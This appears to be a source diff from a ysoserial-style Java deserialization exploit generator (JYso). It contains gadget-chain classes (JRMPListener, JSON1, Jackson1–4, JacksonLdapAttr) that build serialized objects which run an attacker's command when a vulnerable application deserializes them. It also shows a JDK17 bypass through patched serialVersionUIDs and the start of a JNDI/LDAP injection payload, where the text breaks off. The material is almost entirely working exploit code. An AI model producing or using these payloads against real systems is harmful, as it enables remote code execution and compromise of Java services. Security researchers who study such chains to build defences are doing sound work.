import sun.rmi.server.ActivationGroupImpl; import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef; import sun.rmi.server.UnicastServerRef;
import java.rmi.server.RemoteObject; import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef; import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject; import java.rmi.server.UnicastRemoteObject;
/** /**
* Gadget chain: * Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235 * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266 * UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320 * UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147 * LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411 * TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249 * TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319 * TCPTransport.listen() line: 319
* <p> * <p>
* Requires: * Requires:
* - JavaSE * - JavaSE
* <p> * <p>
* Argument: * Argument:
* - Port number to open listener to * - Port number to open listener to
*/ */
@SuppressWarnings({ @SuppressWarnings({
"restriction" "restriction"
}) })
@Authors({Authors.MBECHLER}) @Authors({Authors.MBECHLER})
public class JRMPListener implements ObjectPayload<UnicastRemoteObject> { public class JRMPListener implements ObjectPayload<UnicastRemoteObject> {
@Override @Override
public UnicastRemoteObject getObject(String command) throws Exception { public UnicastRemoteObject getObject(String command) throws Exception {
int jrmpPort = Integer.parseInt(command); int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{ UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
RemoteRef.class RemoteRef.class
}, new Object[]{ }, new Object[]{
new UnicastServerRef(jrmpPort) new UnicastServerRef(jrmpPort)
}); });
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro; return uro;
} }
} }
+90 -90
View File
@@ -1,90 +1,90 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import net.sf.json.JSONObject; import net.sf.json.JSONObject;
import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.framework.AdvisedSupport;
import javax.management.openmbean.*; import javax.management.openmbean.*;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.*; import static com.qi4l.JYso.gadgets.utils.Utils.*;
/** /**
* A bit more convoluted example * A bit more convoluted example
* <p> * <p>
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...) * java.lang.reflect.Method.invoke(Object, Object...)
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.getOutputProperties() * $Proxy0.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...) * java.lang.reflect.Method.invoke(Object, Object...)
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
* net.sf.json.JSONObject._fromBean(Object, JsonConfig) * net.sf.json.JSONObject._fromBean(Object, JsonConfig)
* net.sf.json.JSONObject.fromObject(Object, JsonConfig) * net.sf.json.JSONObject.fromObject(Object, JsonConfig)
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
* net.sf.json.JSONObject._processValue(Object, JsonConfig) * net.sf.json.JSONObject._processValue(Object, JsonConfig)
* net.sf.json.JSONObject.processValue(Object, JsonConfig) * net.sf.json.JSONObject.processValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object, JsonConfig) * net.sf.json.JSONObject.containsValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object) * net.sf.json.JSONObject.containsValue(Object)
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
* javax.management.openmbean.TabularDataSupport.equals(Object) * javax.management.openmbean.TabularDataSupport.equals(Object)
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean) * java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* java.util.HashMap<K,V>.readObject(ObjectInputStream) * java.util.HashMap<K,V>.readObject(ObjectInputStream)
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", @Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
// deep deps // deep deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2", "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"}) "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"})
@Authors({Authors.MBECHLER}) @Authors({Authors.MBECHLER})
public class JSON1 implements ObjectPayload<Object> { public class JSON1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
final Object tql; final Object tql;
tql = Gadgets.createTemplatesImpl(command); tql = Gadgets.createTemplatesImpl(command);
Class ifaces = Templates.class; Class ifaces = Templates.class;
CompositeType rt = new CompositeType("a", "b", CompositeType rt = new CompositeType("a", "b",
new String[]{"a"}, new String[]{"a"},
new String[]{"a"}, new String[]{"a"},
new OpenType[]{javax.management.openmbean.SimpleType.INTEGER} new OpenType[]{javax.management.openmbean.SimpleType.INTEGER}
); );
TabularType tt = new TabularType("a", "b", rt, new String[]{"a"}); TabularType tt = new TabularType("a", "b", rt, new String[]{"a"});
TabularDataSupport t1 = new TabularDataSupport(tt); TabularDataSupport t1 = new TabularDataSupport(tt);
TabularDataSupport t2 = new TabularDataSupport(tt); TabularDataSupport t2 = new TabularDataSupport(tt);
// we need to make payload implement composite data // we need to make payload implement composite data
// it's very likely that there are other proxy impls that could be used // it's very likely that there are other proxy impls that could be used
AdvisedSupport as = new AdvisedSupport(); AdvisedSupport as = new AdvisedSupport();
as.setTarget(tql); as.setTarget(tql);
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as); InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(createMap("getCompositeType", rt)); InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(createMap("getCompositeType", rt));
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler); ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler); Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
final CompositeData cdsProxy = createProxy(invocationHandler, CompositeData.class, ifaces); final CompositeData cdsProxy = createProxy(invocationHandler, CompositeData.class, ifaces);
JSONObject jo = new JSONObject(); JSONObject jo = new JSONObject();
Map m = new HashMap(); Map m = new HashMap();
m.put("t", cdsProxy); m.put("t", cdsProxy);
Reflections.setFieldValue(jo, "properties", m); Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(jo, "properties", m); Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(t1, "dataMap", jo); Reflections.setFieldValue(t1, "dataMap", jo);
Reflections.setFieldValue(t2, "dataMap", jo); Reflections.setFieldValue(t2, "dataMap", jo);
return makeMap(t1, t2); return makeMap(t1, t2);
} }
} }
@@ -1,46 +1,46 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode; import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javassist.CtMethod; import javassist.CtMethod;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
import java.util.HashMap; import java.util.HashMap;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
// 在触发 getter 的时候是以随机顺序触发的,所以概率打空 // 在触发 getter 的时候是以随机顺序触发的,所以概率打空
public class Jackson1 implements ObjectPayload<Object> { public class Jackson1 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
final Object tempImpl; final Object tempImpl;
tempImpl = Gadgets.createTemplatesImpl(command); tempImpl = Gadgets.createTemplatesImpl(command);
try { try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace); ctClass.removeMethod(writeReplace);
ctClass.toClass(); ctClass.toClass();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
POJONode node = new POJONode(tempImpl); POJONode node = new POJONode(tempImpl);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node); setFieldValue(val, "val", node);
//清除堆栈信息 //清除堆栈信息
setFieldValue(val, "stackTrace", new StackTraceElement[0]); setFieldValue(val, "stackTrace", new StackTraceElement[0]);
setFieldValue(val, "cause", null); setFieldValue(val, "cause", null);
setFieldValue(val, "suppressedExceptions", null); setFieldValue(val, "suppressedExceptions", null);
HashMap hashMap = new HashMap(); HashMap hashMap = new HashMap();
hashMap.put(tempImpl, val); hashMap.put(tempImpl, val);
return hashMap; return hashMap;
} }
} }
@@ -1,48 +1,48 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode; import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javassist.CtMethod; import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
@SuppressWarnings({"rawtypes", "unused"}) @SuppressWarnings({"rawtypes", "unused"})
public class Jackson2 implements ObjectPayload<Object> { public class Jackson2 implements ObjectPayload<Object> {
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport(); AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd)); advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true); constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
} }
public Object getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
try { try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace); ctClass.removeMethod(writeReplace);
ctClass.toClass(); ctClass.toClass();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node); setFieldValue(val, "val", node);
//清除堆栈信息 //清除堆栈信息
setFieldValue(val, "stackTrace", new StackTraceElement[0]); setFieldValue(val, "stackTrace", new StackTraceElement[0]);
setFieldValue(val, "cause", null); setFieldValue(val, "cause", null);
setFieldValue(val, "suppressedExceptions", null); setFieldValue(val, "suppressedExceptions", null);
return val; return val;
} }
} }
+125 -125
View File
@@ -1,125 +1,125 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode; import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.SuClassLoader; import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.ThirdLibsClassLoader; import com.qi4l.JYso.gadgets.utils.ThirdLibsClassLoader;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javassist.CtMethod; import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.AdvisorChainFactory; import org.springframework.aop.framework.AdvisorChainFactory;
import javax.sql.DataSource; import javax.sql.DataSource;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.Vector; import java.util.Vector;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue; import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
//Jackson2链的JDK17改造 //Jackson2链的JDK17改造
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"spring-apo:6.2.10"}) @Dependencies({"spring-apo:6.2.10"})
@Authors({Authors.JSJCW}) @Authors({Authors.JSJCW})
public class Jackson3 implements ObjectPayload<Object> { public class Jackson3 implements ObjectPayload<Object> {
static InvocationHandler setSuidSource(AdvisedSupport advisedSupport) throws Exception { static InvocationHandler setSuidSource(AdvisedSupport advisedSupport) throws Exception {
//<=6.0.23为6115154060221772279 //<=6.0.23为6115154060221772279
//>=6.1.0 为273003553246259276 //>=6.1.0 为273003553246259276
String sUID = "273003553246259276"; String sUID = "273003553246259276";
CtClass ctDefaultAdvisorChainFactory = insertField( CtClass ctDefaultAdvisorChainFactory = insertField(
"org.springframework.aop.framework.DefaultAdvisorChainFactory", "org.springframework.aop.framework.DefaultAdvisorChainFactory",
"private static final long serialVersionUID = " + sUID + "L;"); "private static final long serialVersionUID = " + sUID + "L;");
Object ctFactory = ctDefaultAdvisorChainFactory.toClass( Object ctFactory = ctDefaultAdvisorChainFactory.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain() new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
).newInstance(); ).newInstance();
advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory); advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory);
Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true); constructor.setAccessible(true);
return (InvocationHandler) constructor.newInstance(advisedSupport); return (InvocationHandler) constructor.newInstance(advisedSupport);
} }
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport(); AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd)); advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
InvocationHandler handler = setSuidSource(advisedSupport); InvocationHandler handler = setSuidSource(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
} }
public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception { public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport(); AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl); advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = setSuidSource(advisedSupport); InvocationHandler handler = setSuidSource(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler); return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
} }
public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception { public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception {
Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject); Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject);
Class<?> advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName); Class<?> advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName);
Object advisedSupport = advisedSupportClazz.newInstance(); Object advisedSupport = advisedSupportClazz.newInstance();
advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource); advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource);
Constructor<?> constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz); Constructor<?> constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz);
constructor.setAccessible(true); constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler); return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler);
} }
public static Object getEventListenerList(Object obj) throws Exception { public static Object getEventListenerList(Object obj) throws Exception {
//>=6.1.0 为-7977902244297240866 //>=6.1.0 为-7977902244297240866
//<=6.0.23为-5677132037850737084 //<=6.0.23为-5677132037850737084
String sUID1 = "7977902244297240866"; String sUID1 = "7977902244297240866";
CtClass ctEventListenerList = insertField( CtClass ctEventListenerList = insertField(
"javax.swing.event.EventListenerList", "javax.swing.event.EventListenerList",
"private static final long serialVersionUID = -" + sUID1 + "L;"); "private static final long serialVersionUID = -" + sUID1 + "L;");
Object list = ctEventListenerList.toClass( Object list = ctEventListenerList.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain() new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
).newInstance(); ).newInstance();
//>=6.1.0 为-1045223116463488483 //>=6.1.0 为-1045223116463488483
//<=6.0.23为-2077529998244066750 //<=6.0.23为-2077529998244066750
String sUID2 = "1045223116463488483"; String sUID2 = "1045223116463488483";
CtClass ctUndoManager = insertField( CtClass ctUndoManager = insertField(
"javax.swing.undo.UndoManager", "javax.swing.undo.UndoManager",
"private static final long serialVersionUID = -" + sUID2 + "L;"); "private static final long serialVersionUID = -" + sUID2 + "L;");
Object undomanager = ctUndoManager.toClass( Object undomanager = ctUndoManager.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain() new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
).newInstance(); ).newInstance();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。 //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits"); Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj); vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager}); setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list; return list;
} }
@Override @Override
public Object getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
try { try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace); ctClass.removeMethod(writeReplace);
ctClass.toClass(); ctClass.toClass();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
return getEventListenerList(node); return getEventListenerList(node);
} }
} }
@@ -1,44 +1,44 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode; import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.sun.org.apache.xpath.internal.objects.XObject; import com.sun.org.apache.xpath.internal.objects.XObject;
import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javassist.CtMethod; import javassist.CtMethod;
import java.util.HashMap; import java.util.HashMap;
import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy; import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
//Jackson1链的JDK17改造 //Jackson1链的JDK17改造
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"spring-apo:6.2.10"}) @Dependencies({"spring-apo:6.2.10"})
@Authors({Authors.QI4L}) @Authors({Authors.QI4L})
public class Jackson4 implements ObjectPayload<Object> { public class Jackson4 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
try { try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace); ctClass.removeMethod(writeReplace);
ctClass.toClass(); ctClass.toClass();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
XObject xString = new XString("foo"); XObject xString = new XString("foo");
HashMap<Object, Object> map1 = new HashMap(); HashMap<Object, Object> map1 = new HashMap();
HashMap<Object, Object> map2 = new HashMap(); HashMap<Object, Object> map2 = new HashMap();
map1.put("yy", node); map1.put("yy", node);
map1.put("zZ", xString); map1.put("zZ", xString);
map2.put("yy", xString); map2.put("yy", xString);
map2.put("zZ", node); map2.put("zZ", node);
return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2); return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
} }
} }
@@ -1,62 +1,62 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode; import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javassist.CtMethod; import javassist.CtMethod;
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.LogManager;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName; import javax.naming.CompositeName;
import javax.naming.directory.BasicAttribute; import javax.naming.directory.BasicAttribute;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
public class JacksonLdapAttr implements ObjectPayload<Object> { public class JacksonLdapAttr implements ObjectPayload<Object> {
private static final Logger log = LogManager.getLogger(JacksonLdapAttr.class); private static final Logger log = LogManager.getLogger(JacksonLdapAttr.class);
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) { if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5); command = command.substring(5);
} }
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
